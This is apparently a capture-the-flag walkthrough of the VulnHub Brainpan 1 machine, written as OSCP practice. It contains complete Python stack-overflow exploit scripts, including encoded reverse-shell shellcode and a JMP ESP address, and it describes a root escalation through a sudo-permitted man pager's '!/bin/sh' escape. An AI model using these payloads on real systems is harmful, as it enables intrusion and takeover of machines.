Buffer Overflow, CTF Walkthroughs, Guides, Stack Buffer Overflow, VulnHub

Vulnhub – Brainpan 1 Walkthrough

Introduction

This was an intermediate Linux machine that involved exploiting a stack buffer overflow vulnerability to gain an initial foothold and an SUID binary similar to the man command to escalate privileges to root

Enumeration

The first thing to do is to run a TCP Nmap scan against the 1000 most common ports, and using the following flags:

  • -sC to run default scripts
  • -sV to enumerate applications versions

Enumerating Port 10000

The next step is to run a scan to find hidden files or directories using Wfuzz, with the following flags:

  • -w to specify the word list to use
  • –hc to exclude certain response codes
  • specifying the URL to scan, using FUZZ to indicate which part to fuzz

After navigating the the bin directory, the only available file was brainpan.exe. This will be the application to overflow. Downloading it:

Enumerating Port 9999

When interacting with port 9999 with Netcat, it seems to require user input

This will be the parameter to overflow.

Crashing the application

First of all we have to cause the application to crash, the very first thing to do is run the vulnerable executable:

Creating the initial python fuzzer to find out what amount of bytes will cause the application to crash:

#!/usr/bin/python
import socket
import time
import sys

size = 100

while(size < 2500):
    try:
        print "\nSending evil buffer with %s bytes" % size
        buffer = "A" * size

        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

        s.connect(("192.168.135.10", 9999))
        s.send(buffer)

        s.close()

        size +=100
        time.sleep(3)

    except:
        print "\nCould not connect!"
        sys.exit()

Starting Immunity Debugger, attaching it to the application and running it:

Running the fuzzer- It appears when it reaches 600 bytes it stops working

The application crashed with an access violation error and EIP was overwritten with the “A” characters sent by the script:

Identifying the EIP offset

The next step required is to identify which part of the buffer that is being sent is landing in the EIP register, in order to control the execution flow. Using the msf-pattern_create tool to create a string of 600 bytes.

Adding the pattern to a new script, instead of sending the “A” characters:

#!/usr/bin/python
import socket

try:
  print "[+] \nSending evil buffer..."
  buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9"

  s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
  
  s.connect(("192.168.135.10", 9999))
  s.send(buffer)
  
  s.close()
 
  print "\n[+] Sending buffer of " + str(len(buffer)) + " bytes..."
  print "\n[+] Sending buffer: " + buffer
  print "\n[+] Done!"
  
except:
  print "\n[+] Could not connect!"

Restarting the application, re-attaching Immunity and running the script:

This time, EIP was overwritten with “35724134”

Using the msf-pattern_offset tool to calculate the exact offset, which is 524

Modifying script to override EIP with “B” characters to test this last step

#!/usr/bin/python
import socket

try:
  print "\n[+] Sending evil buffer..."
  offset = "A" * 524
  eip = "B" * 4

  buffer = offset + eip

  s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
  
  s.connect(("192.168.135.10", 9999))
  s.send(buffer)
  
  s.close()
 
  print "\n[+] Sending buffer of " + str(len(buffer)) + " bytes..."
  print "\n[+] Sending buffer: " + buffer
  print "\n[+] Done!"
  
except:
  print "\n[+] Could not connect!"

Restarting the application, re-attaching Immunity and running the script:

As expected, the EIP registry was overwritten with the four “B” characters that were sent by the script:

Verifying available shellcode space

The purpose of this step is to verify whether there is enough space for the shellcode immediately after EIP, which is what will be executed by the system in order to gain remote access. Adding about 550 C characters to the script for this phase:

#!/usr/bin/python
import socket

try:
  print "\n[+] Sending evil buffer..."
  offset = "A" * 524
  eip = "B" * 4
  shellcode = "C" * (1000 - len(offset) - len(eip))

  buffer = offset + eip + shellcode

  s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
  
  s.connect(("192.168.135.10", 9999))
  s.send(buffer)
  
  s.close()
 
  print "\n[+] Sending buffer of " + str(len(buffer)) + " bytes..."
  print "\n[+] Sending buffer: " + buffer
  print "\n[+] Done!"
  
except:
  print "\n[+] Could not connect!"

Restarting the application, re-attaching Immunity and running the script:

All the “C” characters that were sent by the script were received and they have successfully overwritten the ESP register. This means an ESP JMP address can be used to redirect the execution to ESP, which will contain the malicious shellcode.

When checking the difference between the address at the beginning and the end of the “C” characters this confirms they all made id into ESP:

Testing for bad characters

In this phase all we have to do is identify whether there are any bad characters that can’t be interpreted by the application, so that we can later on remove them from the shellcode.

Modifying the script, adding all possible characters in hex format:

#!/usr/bin/python
import socket
badchars = (
        "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10"
        "\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
        "\x21\x22\x23\x24\x27\x28\x29\x2a\x2c\x2d\x2e\x2f\x30"
        "\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3e\x3f\x40"
        "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
        "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
        "\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
        "\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
        "\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
        "\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
        "\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
        "\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
        "\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
        "\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
        "\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
        "\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" )
try:
  print "\n[+] Sending evil buffer..."
  offset = "A" * 524
  eip = "B" * 4

  buffer = offset + eip + badchars 

  s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
  
  s.connect(("192.168.135.10", 9999))
  s.send(buffer)
  
  s.close()
 
  print "\n[+] Sending buffer of " + str(len(buffer)) + " bytes..."
  print "\n[+] Sending buffer: " + buffer
  print "\n[+] Done!"
  
except:
  print "\n[+] Could not connect!"

Restarting the application, re-attaching Immunity and running the script:

After following the ESP register to the memory dump, it looks like all the characters made it into ESP, therefore no bad characters are present, apart from x00 which is always considered a bad character

Finding a JMP ESP return address

The next step is to find a valid JMP ESP instruction address so that we can redirect the execution of the application to our malicious shell code.

Restarting the application, re-attaching Immunity and using !mona modules to find a valid dll/module – looks like the only good one is the executable

Finding valid opcodes for the JMP ESP instruction – we are after FFE4

Searching for a JMP ESP instruction address using Mona – found 2 pointers

Copying the address and searching for it to ensure it is valid:

It looks like it corresponds to a valid JMP ESP instruction address

Changing the script to replace the “B” characters used for the EIP register with the newly found JMP ESP instruction address, and adding 400 “C” characters, which will function as placeholder for the shellcode

#!/usr/bin/python
import socket
try:
  print "\n[+] Sending evil buffer..."
  offset = "A" * 524
  eip = "\xf3\x12\x17\x31"
  shellcode = "C" * 400  

  buffer = offset + eip + shellcode

  s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
  
  s.connect(("192.168.135.10", 9999))
  s.send(buffer)
  
  s.close()
 
  print "\n[+] Sending buffer of " + str(len(buffer)) + " bytes..."
  print "\n[+] Sending buffer: " + buffer
  print "\n[+] Done!"
  
except:
  print "\n[+] Could not connect!"

Restarting the application, re-attaching Immunity and adding a breakpoint on the JMP ESP instruction address, then starting the program execution:

Executing the script again:

When the application stops, it lands on the JMP ESP instruction, which is where the breakpoint was added.

When single-stepping into the application execution, this takes to the “C” characters as expected

Generating and adding the shellcode

The first step of this phase is to generate some shellcode using MSFvenom with the following flags:

  • -p to specify the payload type, in this case the Windows reverse TCP shell
  • LHOST to specify the local host IP address to connect to
  • LPORT to specify the local port to connect to
  • EXITFUNC to specify a function to call when the payload is executed, thread is used where the exploited process runs the shellcode in a sub-thread and exiting this thread results in a working application/system (clean exit). This is done to prevent the application from crashing
  • -f to specify the format, in this case Python
  • -b to specify the bad characters, in this case just x00
  • -e to specify the encoder, in this case shikata_ga_nai
  • -v to specify the name of the variable used for the shellcode

Adding the shellcode to the script, along with 10 NOP slides at the beginning of it to avoid errors during the decoding phase 

#!/usr/bin/python
import socket
shellcode =  b""
shellcode += b"\xda\xdb\xd9\x74\x24\xf4\xbd\xbc\x65\x28\x4f"
shellcode += b"\x58\x31\xc9\xb1\x52\x83\xc0\x04\x31\x68\x13"
shellcode += b"\x03\xd4\x76\xca\xba\xd8\x91\x88\x45\x20\x62"
shellcode += b"\xed\xcc\xc5\x53\x2d\xaa\x8e\xc4\x9d\xb8\xc2"
shellcode += b"\xe8\x56\xec\xf6\x7b\x1a\x39\xf9\xcc\x91\x1f"
shellcode += b"\x34\xcc\x8a\x5c\x57\x4e\xd1\xb0\xb7\x6f\x1a"
shellcode += b"\xc5\xb6\xa8\x47\x24\xea\x61\x03\x9b\x1a\x05"
shellcode += b"\x59\x20\x91\x55\x4f\x20\x46\x2d\x6e\x01\xd9"
shellcode += b"\x25\x29\x81\xd8\xea\x41\x88\xc2\xef\x6c\x42"
shellcode += b"\x79\xdb\x1b\x55\xab\x15\xe3\xfa\x92\x99\x16"
shellcode += b"\x02\xd3\x1e\xc9\x71\x2d\x5d\x74\x82\xea\x1f"
shellcode += b"\xa2\x07\xe8\xb8\x21\xbf\xd4\x39\xe5\x26\x9f"
shellcode += b"\x36\x42\x2c\xc7\x5a\x55\xe1\x7c\x66\xde\x04"
shellcode += b"\x52\xee\xa4\x22\x76\xaa\x7f\x4a\x2f\x16\xd1"
shellcode += b"\x73\x2f\xf9\x8e\xd1\x24\x14\xda\x6b\x67\x71"
shellcode += b"\x2f\x46\x97\x81\x27\xd1\xe4\xb3\xe8\x49\x62"
shellcode += b"\xf8\x61\x54\x75\xff\x5b\x20\xe9\xfe\x63\x51"
shellcode += b"\x20\xc5\x30\x01\x5a\xec\x38\xca\x9a\x11\xed"
shellcode += b"\x5d\xca\xbd\x5e\x1e\xba\x7d\x0f\xf6\xd0\x71"
shellcode += b"\x70\xe6\xdb\x5b\x19\x8d\x26\x0c\xe6\xfa\x5f"
shellcode += b"\x4b\x8e\xf8\x9f\x52\xf4\x74\x79\x3e\x1a\xd1"
shellcode += b"\xd2\xd7\x83\x78\xa8\x46\x4b\x57\xd5\x49\xc7"
shellcode += b"\x54\x2a\x07\x20\x10\x38\xf0\xc0\x6f\x62\x57"
shellcode += b"\xde\x45\x0a\x3b\x4d\x02\xca\x32\x6e\x9d\x9d"
shellcode += b"\x13\x40\xd4\x4b\x8e\xfb\x4e\x69\x53\x9d\xa9"
shellcode += b"\x29\x88\x5e\x37\xb0\x5d\xda\x13\xa2\x9b\xe3"
shellcode += b"\x1f\x96\x73\xb2\xc9\x40\x32\x6c\xb8\x3a\xec"
shellcode += b"\xc3\x12\xaa\x69\x28\xa5\xac\x75\x65\x53\x50"
shellcode += b"\xc7\xd0\x22\x6f\xe8\xb4\xa2\x08\x14\x25\x4c"
shellcode += b"\xc3\x9c\x45\xaf\xc1\xe8\xed\x76\x80\x50\x70"
shellcode += b"\x89\x7f\x96\x8d\x0a\x75\x67\x6a\x12\xfc\x62"
shellcode += b"\x36\x94\xed\x1e\x27\x71\x11\x8c\x48\x50"
try:
  print "\n[+] Sending evil buffer..."
  offset = "A" * 524
  eip = "\xf3\x12\x17\x31"
  nops = "\x90" * 10

  buffer = offset + eip + nops + shellcode

  s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
  
  s.connect(("192.168.135.10", 9999))
  s.send(buffer)
  
  s.close()
 
  print "\n[+] Sending buffer of " + str(len(buffer)) + " bytes..."
  print "\n[+] Sending buffer: " + buffer
  print "\n[+] Done!"
  
except:
  print "\n[+] Could not connect!"

Exploitation

The next step is to set up a Netcat listener, which will catch our reverse shell when it is executed by the victim host, using the following flags:

  • -l to listen for incoming connections
  • -v for verbose output
  • -n to skip the DNS lookup
  • -p to specify the port to listen on

Restarting the application without the debugger and running the script:

A call back was received and a reverse shell was granted. After testing this on the debugging machine it can be run on the real box:

Because the payload used was for Windows, the shell received won’t work properly:

Manually running /bin/sh to gain a Linux shell:

Privilege Escalation

When running sudo -l to see if there are any commands the current user can execute as root, an /home/anansi/bin/anansi_util binary stands out:

Trying to execute it – it looks like this binary can be used to display manual pages of commands i.e. it uses the man command. The man command uses less to display and navigate through the information, which is known to be vulnerable if it is being run as root, as it allows to execute commands by typing ! followed by the command

After pressing RETURN, this takes to the man page of the whoami command

Shell commdans can then be executed as root using the exclamation mark

Simply executing !/bin/sh grants root access

Conclusion

This is a really great box when practicing stack buffer overflow, especially if preparing for OSCP, since there aren’t many beginner-level buffer overflow boxes on hack the box. There is also a version of this on TryHackMe that doesn’t require a virtual machine to be installed.